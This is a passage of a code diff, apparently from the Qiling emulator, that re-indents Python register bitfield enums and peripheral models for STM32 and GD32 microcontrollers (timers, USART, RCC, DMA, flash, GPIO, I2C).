RW_MASK = CHLEN|DATLEN|CKPOL|I2SSTD|PCMSYNC|I2SCFG|I2SE|I2SMOD
class SPI_I2SPR(IntEnum):
I2SDIV = 0xff << 0
ODD = 1 << 8
MCKOE = 1 << 9
I2SDIV = 0xff << 0
ODD = 1 << 8
MCKOE = 1 << 9
RW_MASK = I2SDIV|ODD|MCKOE
RW_MASK = I2SDIV|ODD|MCKOE
+127 -127
View File
@@ -7,170 +7,170 @@ from enum import IntEnum
class TIM_CR1(IntEnum):
CEN = 1 << 0
UDIS = 1 << 1
URS = 1 << 2
OPM = 1 << 3
DIR = 1 << 4
CMS = 0x3 << 5
ARPE = 1 << 7
CKD = 0x3 << 8
CEN = 1 << 0
UDIS = 1 << 1
URS = 1 << 2
OPM = 1 << 3
DIR = 1 << 4
CMS = 0x3 << 5
ARPE = 1 << 7
CKD = 0x3 << 8
class TIM_CR2(IntEnum):
CCPC = 1 << 0
CCS = 1 << 2
CCDS = 1 << 3
MMS = 0x7 << 4
TI1S = 1 << 7
OIS1 = 1 << 8
OIS1N = 1 << 9
OIS2 = 1 << 10
OIS2N = 1 << 11
OIS3 = 1 << 12
OIS3N = 1 << 13
OIS4 = 1 << 14
CCPC = 1 << 0
CCS = 1 << 2
CCDS = 1 << 3
MMS = 0x7 << 4
TI1S = 1 << 7
OIS1 = 1 << 8
OIS1N = 1 << 9
OIS2 = 1 << 10
OIS2N = 1 << 11
OIS3 = 1 << 12
OIS3N = 1 << 13
OIS4 = 1 << 14
class TIM_SMCR(IntEnum):
SMS = 0x7 << 0
TS = 0x7 << 4
MSM = 1 << 7
ETF = 0xf << 8
ETPS = 0x3 << 12
ECE = 1 << 14
ETP = 1 << 15
SMS = 0x7 << 0
TS = 0x7 << 4
MSM = 1 << 7
ETF = 0xf << 8
ETPS = 0x3 << 12
ECE = 1 << 14
ETP = 1 << 15
class TIM_DIER(IntEnum):
UIE = 1 << 0
CC1IE = 1 << 1
CC2IE = 1 << 2
CC3IE = 1 << 3
CC4IE = 1 << 4
COMIE = 1 << 5
TIE = 1 << 6
BIE = 1 << 7
UDE = 1 << 8
CC1DE = 1 << 9
CC2DE = 1 << 10
CC3DE = 1 << 11
CC4DE = 1 << 12
COMDE = 1 << 13
TDE = 1 << 14
UIE = 1 << 0
CC1IE = 1 << 1
CC2IE = 1 << 2
CC3IE = 1 << 3
CC4IE = 1 << 4
COMIE = 1 << 5
TIE = 1 << 6
BIE = 1 << 7
UDE = 1 << 8
CC1DE = 1 << 9
CC2DE = 1 << 10
CC3DE = 1 << 11
CC4DE = 1 << 12
COMDE = 1 << 13
TDE = 1 << 14
class TIM_SR(IntEnum):
UIF = 1 << 0
CC1IF = 1 << 1
CC2IF = 1 << 2
CC3IF = 1 << 3
CC4IF = 1 << 4
COMIF = 1 << 5
TIF = 1 << 6
BIF = 1 << 7
CC1OF = 1 << 9
CC2OF = 1 << 10
CC3OF = 1 << 11
CC4OF = 1 << 12
UIF = 1 << 0
CC1IF = 1 << 1
CC2IF = 1 << 2
CC3IF = 1 << 3
CC4IF = 1 << 4
COMIF = 1 << 5
TIF = 1 << 6
BIF = 1 << 7
CC1OF = 1 << 9
CC2OF = 1 << 10
CC3OF = 1 << 11
CC4OF = 1 << 12
class TIM_EGR(IntEnum):
UG = 1 << 0
CC1G = 1 << 1
CC2G = 1 << 2
CC3G = 1 << 3
CC4G = 1 << 4
COMG = 1 << 5
TG = 1 << 6
BG = 1 << 7
UG = 1 << 0
CC1G = 1 << 1
CC2G = 1 << 2
CC3G = 1 << 3
CC4G = 1 << 4
COMG = 1 << 5
TG = 1 << 6
BG = 1 << 7
class TIM_CCMR1(IntEnum):
CC1S = 0x3 << 0
OC1FE = 1 << 2
OC1PE = 1 << 3
OC1M = 0x7 << 4
OC1CE = 1 << 7
CC2S = 0x3 << 8
OC2FE = 1 << 10
OC2PE = 1 << 11
OC2M = 0x7 << 12
OC2CE = 1 << 15
IC1PSC = 0x3 << 2
IC1F = 0xf << 4
IC2PSC = 0x3 << 10
IC2F = 0xf << 12
CC1S = 0x3 << 0
OC1FE = 1 << 2
OC1PE = 1 << 3
OC1M = 0x7 << 4
OC1CE = 1 << 7
CC2S = 0x3 << 8
OC2FE = 1 << 10
OC2PE = 1 << 11
OC2M = 0x7 << 12
OC2CE = 1 << 15
IC1PSC = 0x3 << 2
IC1F = 0xf << 4
IC2PSC = 0x3 << 10
IC2F = 0xf << 12
class TIM_CCMR2(IntEnum):
CC3S = 0x3 << 0
OC3FE = 1 << 2
OC3PE = 1 << 3
OC3M = 0x7 << 4
OC3CE = 1 << 7
CC4S = 0x3 << 8
OC4FE = 1 << 10
OC4PE = 1 << 11
OC4M = 0x7 << 12
OC4CE = 1 << 15
IC3PSC = 0x3 << 2
IC3F = 0xf << 4
IC4PSC = 0x3 << 10
IC4F = 0xf << 12
CC3S = 0x3 << 0
OC3FE = 1 << 2
OC3PE = 1 << 3
OC3M = 0x7 << 4
OC3CE = 1 << 7
CC4S = 0x3 << 8
OC4FE = 1 << 10
OC4PE = 1 << 11
OC4M = 0x7 << 12
OC4CE = 1 << 15
IC3PSC = 0x3 << 2
IC3F = 0xf << 4
IC4PSC = 0x3 << 10
IC4F = 0xf << 12
class TIM_CCER(IntEnum):
CC1E = 1 << 0
CC1P = 1 << 1
CC1NE = 1 << 2
CC1NP = 1 << 3
CC2E = 1 << 4
CC2P = 1 << 5
CC2NE = 1 << 6
CC2NP = 1 << 7
CC3E = 1 << 8
CC3P = 1 << 9
CC3NE = 1 << 10
CC3NP = 1 << 11
CC4E = 1 << 12
CC4P = 1 << 13
CC4NP = 1 << 15
CC1E = 1 << 0
CC1P = 1 << 1
CC1NE = 1 << 2
CC1NP = 1 << 3
CC2E = 1 << 4
CC2P = 1 << 5
CC2NE = 1 << 6
CC2NP = 1 << 7
CC3E = 1 << 8
CC3P = 1 << 9
CC3NE = 1 << 10
CC3NP = 1 << 11
CC4E = 1 << 12
CC4P = 1 << 13
CC4NP = 1 << 15
class TIM_CNT(IntEnum):
CNT = 0xffffffff << 0
CNT = 0xffffffff << 0
class TIM_PSC(IntEnum):
PSC = 0xffff << 0
PSC = 0xffff << 0
class TIM_ARR(IntEnum):
ARR = 0xffffffff << 0
ARR = 0xffffffff << 0
class TIM_RCR(IntEnum):
REP = 0xff << 0
REP = 0xff << 0
class TIM_CCR1(IntEnum):
CCR1 = 0xffff << 0
CCR1 = 0xffff << 0
class TIM_CCR2(IntEnum):
CCR2 = 0xffff << 0
CCR2 = 0xffff << 0
class TIM_CCR3(IntEnum):
CCR3 = 0xffff << 0
CCR3 = 0xffff << 0
class TIM_CCR4(IntEnum):
CCR4 = 0xffff << 0
CCR4 = 0xffff << 0
class TIM_BDTR(IntEnum):
DTG = 0xff << 0
LOCK = 0x3 << 8
OSSI = 1 << 10
OSSR = 1 << 11
BKE = 1 << 12
BKP = 1 << 13
AOE = 1 << 14
MOE = 1 << 15
DTG = 0xff << 0
LOCK = 0x3 << 8
OSSI = 1 << 10
OSSR = 1 << 11
BKE = 1 << 12
BKP = 1 << 13
AOE = 1 << 14
MOE = 1 << 15
class TIM_DCR(IntEnum):
DBA = 0x1f << 0
DBL = 0x1f << 8
DBA = 0x1f << 0
DBL = 0x1f << 8
class TIM_DMAR(IntEnum):
DMAB = 0xffff << 0
DMAB = 0xffff << 0
class TIM_OR(IntEnum):
TI1_RMP = 0x3 << 0
TI4_RMP = 0x3 << 6
ITR1_RMP = 0x3 << 10
TI1_RMP = 0x3 << 0
TI4_RMP = 0x3 << 6
ITR1_RMP = 0x3 << 10
+26 -26
View File
@@ -20,11 +20,11 @@ class USART_SR(IntEnum):
RESET = TXE | TC
class USART_DR(IntEnum):
DR = 0x1ff << 0
DR = 0x1ff << 0
class USART_BRR(IntEnum):
DIV_Fraction = 0xf << 0
DIV_Mantissa = 0xfff << 4
DIV_Fraction = 0xf << 0
DIV_Mantissa = 0xfff << 4
class USART_CR1(IntEnum):
OVER8 = 1 << 15
@@ -44,30 +44,30 @@ class USART_CR1(IntEnum):
SBK = 1 << 0
class USART_CR2(IntEnum):
ADD = 0xf << 0
LBDL = 1 << 5
LBDIE = 1 << 6
LBCL = 1 << 8
CPHA = 1 << 9
CPOL = 1 << 10
CLKEN = 1 << 11
STOP = 0x3 << 12
LINEN = 1 << 14
ADD = 0xf << 0
LBDL = 1 << 5
LBDIE = 1 << 6
LBCL = 1 << 8
CPHA = 1 << 9
CPOL = 1 << 10
CLKEN = 1 << 11
STOP = 0x3 << 12
LINEN = 1 << 14
class USART_CR3(IntEnum):
EIE = 1 << 0
IREN = 1 << 1
IRLP = 1 << 2
HDSEL = 1 << 3
NACK = 1 << 4
SCEN = 1 << 5
DMAR = 1 << 6
DMAT = 1 << 7
RTSE = 1 << 8
CTSE = 1 << 9
CTSIE = 1 << 10
ONEBIT = 1 << 11
EIE = 1 << 0
IREN = 1 << 1
IRLP = 1 << 2
HDSEL = 1 << 3
NACK = 1 << 4
SCEN = 1 << 5
DMAR = 1 << 6
DMAT = 1 << 7
RTSE = 1 << 8
CTSE = 1 << 9
CTSIE = 1 << 10
ONEBIT = 1 << 11
class USART_GTPR(IntEnum):
PSC = 0xff << 0
GT = 0xff << 8
PSC = 0xff << 0
GT = 0xff << 8
+155 -155
View File
@@ -27,12 +27,12 @@ class RCC_CR(IntEnum):
class RCC_PLLCFGR(IntEnum):
PLLM = 0x3f << 0
PLLN = 0x1ff << 6
PLLP = 0x3 << 16
PLLSRC = 1 << 22
PLLSRC_HSE = 1 << 22
PLLQ = 0xf << 24
PLLM = 0x3f << 0
PLLN = 0x1ff << 6
PLLP = 0x3 << 16
PLLSRC = 1 << 22
PLLSRC_HSE = 1 << 22
PLLQ = 0xf << 24
class RCC_CFGR(IntEnum):
@@ -56,186 +56,186 @@ class RCC_CFGR(IntEnum):
RW_MASK = SW | HPRE | PPRE1 | PPRE2 | MCO1 | I2SSCR | MCO1PRE | MCO2PRE | MCO2
class RCC_CIR(IntEnum):
LSIRDYF = 1 << 0
LSERDYF = 1 << 1
HSIRDYF = 1 << 2
HSERDYF = 1 << 3
PLLRDYF = 1 << 4
PLLI2SRDYF = 1 << 5
CSSF = 1 << 7
LSIRDYIE = 1 << 8
LSERDYIE = 1 << 9
HSIRDYIE = 1 << 10
HSERDYIE = 1 << 11
PLLRDYIE = 1 << 12
PLLI2SRDYIE = 1 << 13
LSIRDYC = 1 << 16
LSERDYC = 1 << 17
HSIRDYC = 1 << 18
HSERDYC = 1 << 19
PLLRDYC = 1 << 20
PLLI2SRDYC = 1 << 21
CSSC = 1 << 23
LSIRDYF = 1 << 0
LSERDYF = 1 << 1
HSIRDYF = 1 << 2
HSERDYF = 1 << 3
PLLRDYF = 1 << 4
PLLI2SRDYF = 1 << 5
CSSF = 1 << 7
LSIRDYIE = 1 << 8
LSERDYIE = 1 << 9
HSIRDYIE = 1 << 10
HSERDYIE = 1 << 11
PLLRDYIE = 1 << 12
PLLI2SRDYIE = 1 << 13
LSIRDYC = 1 << 16
LSERDYC = 1 << 17
HSIRDYC = 1 << 18
HSERDYC = 1 << 19
PLLRDYC = 1 << 20
PLLI2SRDYC = 1 << 21
CSSC = 1 << 23
class RCC_AHB1RSTR(IntEnum):
GPIOARST = 1 << 0
GPIOBRST = 1 << 1
GPIOCRST = 1 << 2
GPIODRST = 1 << 3
GPIOERST = 1 << 4
GPIOHRST = 1 << 7
CRCRST = 1 << 12
DMA1RST = 1 << 21
DMA2RST = 1 << 22
GPIOARST = 1 << 0
GPIOBRST = 1 << 1
GPIOCRST = 1 << 2
GPIODRST = 1 << 3
GPIOERST = 1 << 4
GPIOHRST = 1 << 7
CRCRST = 1 << 12
DMA1RST = 1 << 21
DMA2RST = 1 << 22
class RCC_AHB2RSTR(IntEnum):
OTGFSRST = 1 << 7
OTGFSRST = 1 << 7
class RCC_APB1RSTR(IntEnum):
TIM2RST = 1 << 0
TIM3RST = 1 << 1
TIM4RST = 1 << 2
TIM5RST = 1 << 3
WWDGRST = 1 << 11
SPI2RST = 1 << 14
SPI3RST = 1 << 15
USART2RST = 1 << 17
I2C1RST = 1 << 21
I2C2RST = 1 << 22
I2C3RST = 1 << 23
PWRRST = 1 << 28
TIM2RST = 1 << 0
TIM3RST = 1 << 1
TIM4RST = 1 << 2
TIM5RST = 1 << 3
WWDGRST = 1 << 11
SPI2RST = 1 << 14
SPI3RST = 1 << 15
USART2RST = 1 << 17
I2C1RST = 1 << 21
I2C2RST = 1 << 22
I2C3RST = 1 << 23
PWRRST = 1 << 28
class RCC_APB2RSTR(IntEnum):
TIM1RST = 1 << 0
USART1RST = 1 << 4
USART6RST = 1 << 5
ADCRST = 1 << 8
SDIORST = 1 << 11
SPI1RST = 1 << 12
SPI4RST = 1 << 13
SYSCFGRST = 1 << 14
TIM9RST = 1 << 16
TIM10RST = 1 << 17
TIM11RST = 1 << 18
SPI5RST = 1 << 20
TIM1RST = 1 << 0
USART1RST = 1 << 4
USART6RST = 1 << 5
ADCRST = 1 << 8
SDIORST = 1 << 11
SPI1RST = 1 << 12
SPI4RST = 1 << 13
SYSCFGRST = 1 << 14
TIM9RST = 1 << 16
TIM10RST = 1 << 17
TIM11RST = 1 << 18
SPI5RST = 1 << 20
class RCC_AHB1ENR(IntEnum):
GPIOAEN = 1 << 0
GPIOBEN = 1 << 1
GPIOCEN = 1 << 2
GPIODEN = 1 << 3
GPIOEEN = 1 << 4
GPIOHEN = 1 << 7
CRCEN = 1 << 12
DMA1EN = 1 << 21
DMA2EN = 1 << 22
GPIOAEN = 1 << 0
GPIOBEN = 1 << 1
GPIOCEN = 1 << 2
GPIODEN = 1 << 3
GPIOEEN = 1 << 4
GPIOHEN = 1 << 7
CRCEN = 1 << 12
DMA1EN = 1 << 21
DMA2EN = 1 << 22
class RCC_AHB2ENR(IntEnum):
OTGFSEN = 1 << 7
OTGFSEN = 1 << 7
class RCC_APB1ENR(IntEnum):
TIM2EN = 1 << 0
TIM3EN = 1 << 1
TIM4EN = 1 << 2
TIM5EN = 1 << 3
WWDGEN = 1 << 11
SPI2EN = 1 << 14
SPI3EN = 1 << 15
USART2EN = 1 << 17
I2C1EN = 1 << 21
I2C2EN = 1 << 22
I2C3EN = 1 << 23
PWREN = 1 << 28
TIM2EN = 1 << 0
TIM3EN = 1 << 1
TIM4EN = 1 << 2
TIM5EN = 1 << 3
WWDGEN = 1 << 11
SPI2EN = 1 << 14
SPI3EN = 1 << 15
USART2EN = 1 << 17
I2C1EN = 1 << 21
I2C2EN = 1 << 22
I2C3EN = 1 << 23
PWREN = 1 << 28
class RCC_APB2ENR(IntEnum):
TIM1EN = 1 << 0
USART1EN = 1 << 4
USART6EN = 1 << 5
ADC1EN = 1 << 8
SDIOEN = 1 << 11
SPI1EN = 1 << 12
SPI4EN = 1 << 13
SYSCFGEN = 1 << 14
TIM9EN = 1 << 16
TIM10EN = 1 << 17
TIM11EN = 1 << 18
SPI5EN = 1 << 20
TIM1EN = 1 << 0
USART1EN = 1 << 4
USART6EN = 1 << 5
ADC1EN = 1 << 8
SDIOEN = 1 << 11
SPI1EN = 1 << 12
SPI4EN = 1 << 13
SYSCFGEN = 1 << 14
TIM9EN = 1 << 16
TIM10EN = 1 << 17
TIM11EN = 1 << 18
SPI5EN = 1 << 20
class RCC_AHB1LPENR(IntEnum):
GPIOALPEN = 1 << 0
GPIOBLPEN = 1 << 1
GPIOCLPEN = 1 << 2
GPIODLPEN = 1 << 3
GPIOELPEN = 1 << 4
GPIOHLPEN = 1 << 7
CRCLPEN = 1 << 12
FLITFLPEN = 1 << 15
SRAM1LPEN = 1 << 16
DMA1LPEN = 1 << 21
DMA2LPEN = 1 << 22
GPIOALPEN = 1 << 0
GPIOBLPEN = 1 << 1
GPIOCLPEN = 1 << 2
GPIODLPEN = 1 << 3
GPIOELPEN = 1 << 4
GPIOHLPEN = 1 << 7
CRCLPEN = 1 << 12
FLITFLPEN = 1 << 15
SRAM1LPEN = 1 << 16
DMA1LPEN = 1 << 21
DMA2LPEN = 1 << 22
class RCC_AHB2LPENR(IntEnum):
OTGFSLPEN = 1 << 7
OTGFSLPEN = 1 << 7
class RCC_APB1LPENR(IntEnum):
TIM2LPEN = 1 << 0
TIM3LPEN = 1 << 1
TIM4LPEN = 1 << 2
TIM5LPEN = 1 << 3
WWDGLPEN = 1 << 11
SPI2LPEN = 1 << 14
SPI3LPEN = 1 << 15
USART2LPEN = 1 << 17
I2C1LPEN = 1 << 21
I2C2LPEN = 1 << 22
I2C3LPEN = 1 << 23
PWRLPEN = 1 << 28
TIM2LPEN = 1 << 0
TIM3LPEN = 1 << 1
TIM4LPEN = 1 << 2
TIM5LPEN = 1 << 3
WWDGLPEN = 1 << 11
SPI2LPEN = 1 << 14
SPI3LPEN = 1 << 15
USART2LPEN = 1 << 17
I2C1LPEN = 1 << 21
I2C2LPEN = 1 << 22
I2C3LPEN = 1 << 23
PWRLPEN = 1 << 28
class RCC_APB2LPENR(IntEnum):
TIM1LPEN = 1 << 0
USART1LPEN = 1 << 4
USART6LPEN = 1 << 5
ADC1LPEN = 1 << 8
SDIOLPEN = 1 << 11
SPI1LPEN = 1 << 12
SPI4LPEN = 1 << 13
SYSCFGLPEN = 1 << 14
TIM9LPEN = 1 << 16
TIM10LPEN = 1 << 17
TIM11LPEN = 1 << 18
SPI5LPEN = 1 << 20
TIM1LPEN = 1 << 0
USART1LPEN = 1 << 4
USART6LPEN = 1 << 5
ADC1LPEN = 1 << 8
SDIOLPEN = 1 << 11
SPI1LPEN = 1 << 12
SPI4LPEN = 1 << 13
SYSCFGLPEN = 1 << 14
TIM9LPEN = 1 << 16
TIM10LPEN = 1 << 17
TIM11LPEN = 1 << 18
SPI5LPEN = 1 << 20
class RCC_BDCR(IntEnum):
LSEON = 1 << 0
LSERDY = 1 << 1
LSEBYP = 1 << 2
LSEMOD = 1 << 3
RTCSEL = 0x3 << 8
RTCEN = 1 << 15
BDRST = 1 << 16
LSEON = 1 << 0
LSERDY = 1 << 1
LSEBYP = 1 << 2
LSEMOD = 1 << 3
RTCSEL = 0x3 << 8
RTCEN = 1 << 15
BDRST = 1 << 16
class RCC_CSR(IntEnum):
LSION = 1 << 0
LSIRDY = 1 << 1
RMVF = 1 << 24
BORRSTF = 1 << 25
PINRSTF = 1 << 26
PORRSTF = 1 << 27
SFTRSTF = 1 << 28
IWDGRSTF = 1 << 29
WWDGRSTF = 1 << 30
LPWRRSTF = 1 << 31
LSION = 1 << 0
LSIRDY = 1 << 1
RMVF = 1 << 24
BORRSTF = 1 << 25
PINRSTF = 1 << 26
PORRSTF = 1 << 27
SFTRSTF = 1 << 28
IWDGRSTF = 1 << 29
WWDGRSTF = 1 << 30
LPWRRSTF = 1 << 31
class RCC_SSCGR(IntEnum):
MODPER = 0x1fff << 0
INCSTEP = 0x7fff << 13
SPREADSEL = 1 << 30
SSCGEN = 1 << 31
MODPER = 0x1fff << 0
INCSTEP = 0x7fff << 13
SPREADSEL = 1 << 30
SSCGEN = 1 << 31
class RCC_PLLI2SCFGR(IntEnum):
PLLI2SM = 0x3f << 0
PLLI2SN = 0x1ff << 6
PLLI2SR = 0x7 << 28
PLLI2SM = 0x3f << 0
PLLI2SN = 0x1ff << 6
PLLI2SR = 0x7 << 28
class RCC_DCKCFGR(IntEnum):
TIMPRE = 1 << 24
TIMPRE = 1 << 24
+28 -28
View File
@@ -69,36 +69,36 @@ class Stream(ctypes.Structure):
class STM32F4xxDma(QlPeripheral):
class Type(ctypes.Structure):
""" the structure available in :
stm32f413xx.h
stm32f407xx.h
stm32f469xx.h
stm32f446xx.h
stm32f427xx.h
stm32f401xc.h
stm32f415xx.h
stm32f412cx.h
stm32f410rx.h
stm32f410tx.h
stm32f439xx.h
stm32f412vx.h
stm32f417xx.h
stm32f479xx.h
stm32f429xx.h
stm32f412rx.h
stm32f423xx.h
stm32f437xx.h
stm32f412zx.h
stm32f401xe.h
stm32f410cx.h
stm32f405xx.h
stm32f411xe.h
"""
stm32f413xx.h
stm32f407xx.h
stm32f469xx.h
stm32f446xx.h
stm32f427xx.h
stm32f401xc.h
stm32f415xx.h
stm32f412cx.h
stm32f410rx.h
stm32f410tx.h
stm32f439xx.h
stm32f412vx.h
stm32f417xx.h
stm32f479xx.h
stm32f429xx.h
stm32f412rx.h
stm32f423xx.h
stm32f437xx.h
stm32f412zx.h
stm32f401xe.h
stm32f410cx.h
stm32f405xx.h
stm32f411xe.h
"""
_fields_ = [
('LISR' , ctypes.c_uint32), # DMA low interrupt status register, Address offset: 0x00
('HISR' , ctypes.c_uint32), # DMA high interrupt status register, Address offset: 0x04
('LIFCR', ctypes.c_uint32), # DMA low interrupt flag clear register, Address offset: 0x08
('HIFCR', ctypes.c_uint32), # DMA high interrupt flag clear register, Address offset: 0x0C
('LISR' , ctypes.c_uint32), # DMA low interrupt status register, Address offset: 0x00
('HISR' , ctypes.c_uint32), # DMA high interrupt status register, Address offset: 0x04
('LIFCR', ctypes.c_uint32), # DMA low interrupt flag clear register, Address offset: 0x08
('HIFCR', ctypes.c_uint32), # DMA high interrupt flag clear register, Address offset: 0x0C
('stream', Stream * 8),
]
+1 -1
View File
@@ -43,7 +43,7 @@ class STM32F1xxFlash(QlPeripheral):
self.instance = self.struct()
@QlPeripheral.monitor()
def read(self, offset: int, size: int) -> int:
def read(self, offset: int, size: int) -> int:
buf = ctypes.create_string_buffer(size)
ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size)
return int.from_bytes(buf.raw, byteorder='little')
+1 -1
View File
@@ -55,7 +55,7 @@ class STM32F4xxFlash(QlPeripheral):
self.instance = self.struct()
@QlPeripheral.monitor()
def read(self, offset: int, size: int) -> int:
def read(self, offset: int, size: int) -> int:
buf = ctypes.create_string_buffer(size)
ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size)
return int.from_bytes(buf.raw, byteorder='little')
+1 -1
View File
@@ -39,7 +39,7 @@ class GD32VF1xxGpio(QlPeripheral, GpioHooks):
)
@QlPeripheral.monitor()
def read(self, offset: int, size: int) -> int:
def read(self, offset: int, size: int) -> int:
buf = ctypes.create_string_buffer(size)
ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size)
return int.from_bytes(buf.raw, byteorder='little')
+1 -1
View File
@@ -38,7 +38,7 @@ class STM32F1xxAfio(QlPeripheral):
self.instance = self.struct()
@QlPeripheral.monitor()
def read(self, offset: int, size: int) -> int:
def read(self, offset: int, size: int) -> int:
buf = ctypes.create_string_buffer(size)
ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size)
return int.from_bytes(buf.raw, byteorder='little')
+1 -1
View File
@@ -36,7 +36,7 @@ class STM32F4xxGpio(STM32F1xxGpio):
stm32f410cx.h
stm32f405xx.h
stm32f411xe.h
"""
"""
_fields_ = [
('MODER' , ctypes.c_uint32), # GPIO port mode register, Address offset: 0x00
+187 -187
View File
@@ -13,226 +13,226 @@ from qiling.hw.utils.access import Access, AccessSequence, Action
class STM32F4xxI2c(QlConnectivityPeripheral):
class Type(ctypes.Structure):
""" the structure is available in :
stm32f423xx.h
stm32f469xx.h
stm32f427xx.h
stm32f479xx.h
stm32f413xx.h
stm32f429xx.h
stm32f439xx.h
stm32f412cx.h
stm32f412rx.h
stm32f410tx.h
stm32f410cx.h
stm32f412zx.h
stm32f446xx.h
stm32f401xc.h
stm32f437xx.h
stm32f401xe.h
stm32f412vx.h
stm32f410rx.h
stm32f411xe.h
"""
class Type(ctypes.Structure):
""" the structure is available in :
stm32f423xx.h
stm32f469xx.h
stm32f427xx.h
stm32f479xx.h
stm32f413xx.h
stm32f429xx.h
stm32f439xx.h
stm32f412cx.h
stm32f412rx.h
stm32f410tx.h
stm32f410cx.h
stm32f412zx.h
stm32f446xx.h
stm32f401xc.h
stm32f437xx.h
stm32f401xe.h
stm32f412vx.h
stm32f410rx.h
stm32f411xe.h
"""
_fields_ = [
('CR1' , ctypes.c_uint32), # I2C Control register 1, Address offset: 0x00
('CR2' , ctypes.c_uint32), # I2C Control register 2, Address offset: 0x04
('OAR1' , ctypes.c_uint32), # I2C Own address register 1, Address offset: 0x08
('OAR2' , ctypes.c_uint32), # I2C Own address register 2, Address offset: 0x0C
('DR' , ctypes.c_uint32), # I2C Data register, Address offset: 0x10
('SR1' , ctypes.c_uint32), # I2C Status register 1, Address offset: 0x14
('SR2' , ctypes.c_uint32), # I2C Status register 2, Address offset: 0x18
('CCR' , ctypes.c_uint32), # I2C Clock control register, Address offset: 0x1C
('TRISE', ctypes.c_uint32), # I2C TRISE register, Address offset: 0x20
('FLTR' , ctypes.c_uint32), # I2C FLTR register, Address offset: 0x24
]
_fields_ = [
('CR1' , ctypes.c_uint32), # I2C Control register 1, Address offset: 0x00
('CR2' , ctypes.c_uint32), # I2C Control register 2, Address offset: 0x04
('OAR1' , ctypes.c_uint32), # I2C Own address register 1, Address offset: 0x08
('OAR2' , ctypes.c_uint32), # I2C Own address register 2, Address offset: 0x0C
('DR' , ctypes.c_uint32), # I2C Data register, Address offset: 0x10
('SR1' , ctypes.c_uint32), # I2C Status register 1, Address offset: 0x14
('SR2' , ctypes.c_uint32), # I2C Status register 2, Address offset: 0x18
('CCR' , ctypes.c_uint32), # I2C Clock control register, Address offset: 0x1C
('TRISE', ctypes.c_uint32), # I2C TRISE register, Address offset: 0x20
('FLTR' , ctypes.c_uint32), # I2C FLTR register, Address offset: 0x24
]
def __init__(self, ql, label, ev_intn=None, er_intn=None):
super().__init__(ql, label, 2)
def __init__(self, ql, label, ev_intn=None, er_intn=None):
super().__init__(ql, label, 2)
self.history = AccessSequence()
self.history = AccessSequence()
self.ev_intn = ev_intn # event interrupt
self.er_intn = er_intn # error interrupt
self.reset()
self.ev_intn = ev_intn # event interrupt
self.er_intn = er_intn # error interrupt
self.reset()
def reset(self):
self.instance = self.struct(
TRISE = 0x0002
)
def reset(self):
self.instance = self.struct(
TRISE = 0x0002
)
@QlPeripheral.recorder()
@QlPeripheral.monitor()
def read(self, offset: int, size: int) -> int:
buf = ctypes.create_string_buffer(size)
ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size)
@QlPeripheral.recorder()
@QlPeripheral.monitor()
def read(self, offset: int, size: int) -> int:
buf = ctypes.create_string_buffer(size)
ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size)
if self.history.match([
Access(Action.READ, self.struct.SR1.offset),
Access(Action.READ, self.struct.SR2.offset)
]):
self.instance.SR1 &= ~I2C_SR1.ADDR
if self.history.match([
Access(Action.READ, self.struct.SR1.offset),
Access(Action.READ, self.struct.SR2.offset)
]):
self.instance.SR1 &= ~I2C_SR1.ADDR
return int.from_bytes(buf.raw, byteorder='little')
return int.from_bytes(buf.raw, byteorder='little')
@QlPeripheral.recorder()
@QlPeripheral.monitor()
def write(self, offset: int, size: int, value: int):
if offset in [self.struct.SR1.offset, self.struct.SR2.offset]:
return
@QlPeripheral.recorder()
@QlPeripheral.monitor()
def write(self, offset: int, size: int, value: int):
if offset in [self.struct.SR1.offset, self.struct.SR2.offset]:
return
if offset == self.struct.CR1.offset:
self.instance.CR1 = value & I2C_CR1.RW_MASK
if offset == self.struct.CR1.offset:
self.instance.CR1 = value & I2C_CR1.RW_MASK
if value & I2C_CR1.START:
self.generate_start()
if value & I2C_CR1.START:
self.generate_start()
if value & I2C_CR1.STOP:
self.generate_stop()
if value & I2C_CR1.STOP:
self.generate_stop()
return
return
if offset == self.struct.DR.offset:
self.instance.DR = value & I2C_DR.DR
self.instance.SR1 &= ~I2C_SR1.TXE
if offset == self.struct.DR.offset:
self.instance.DR = value & I2C_DR.DR
self.instance.SR1 &= ~I2C_SR1.TXE
if self.is_master_mode():
if self.is_7bit_mode():
if self.instance.SR2 & I2C_SR2.TRA:
self.send_data()
if self.is_master_mode():
if self.is_7bit_mode():
if self.instance.SR2 & I2C_SR2.TRA:
self.send_data()
else:
self.send_address()
else:
self.send_address()
# TODO 10-bit mode
# TODO 10-bit mode
return
return
data = (value).to_bytes(size, 'little')
ctypes.memmove(ctypes.addressof(self.instance) + offset, data, size)
data = (value).to_bytes(size, 'little')
ctypes.memmove(ctypes.addressof(self.instance) + offset, data, size)
## I2C Control register 2 (I2C_CR2)
def send_event_interrupt(self):
"""
ITBUFEN: Buffer interrupt enable
0: TxE = 1 or RxNE = 1 does not generate any interrupt.
1: TxE = 1 or RxNE = 1 generates Event Interrupt (whatever the state of DMAEN)
## I2C Control register 2 (I2C_CR2)
def send_event_interrupt(self):
"""
ITBUFEN: Buffer interrupt enable
0: TxE = 1 or RxNE = 1 does not generate any interrupt.
1: TxE = 1 or RxNE = 1 generates Event Interrupt (whatever the state of DMAEN)
ITEVTEN: Event interrupt enable
0: Event interrupt disabled
1: Event interrupt enabled
This interrupt is generated when:
- SB = 1 (Master)
- ADDR = 1 (Master/Slave)
- ADD10= 1 (Master)
- STOPF = 1 (Slave)
- BTF = 1 with no TxE or RxNE event
- TxE event to 1 if ITBUFEN = 1
- RxNE event to 1if ITBUFEN = 1
"""
if self.ev_intn is None:
return
if not self.instance.CR2 & I2C_CR2.ITEVTEN:
return
ITEVTEN: Event interrupt enable
0: Event interrupt disabled
1: Event interrupt enabled
This interrupt is generated when:
- SB = 1 (Master)
- ADDR = 1 (Master/Slave)
- ADD10= 1 (Master)
- STOPF = 1 (Slave)
- BTF = 1 with no TxE or RxNE event
- TxE event to 1 if ITBUFEN = 1
- RxNE event to 1if ITBUFEN = 1
"""
if self.ev_intn is None:
return
if not self.instance.CR2 & I2C_CR2.ITEVTEN:
return
BUF_IT = I2C_SR1.TXE|I2C_SR1.RXNE
SLAVE_IT = I2C_SR1.STOPF|I2C_SR1.ADDR|I2C_SR1.BTF
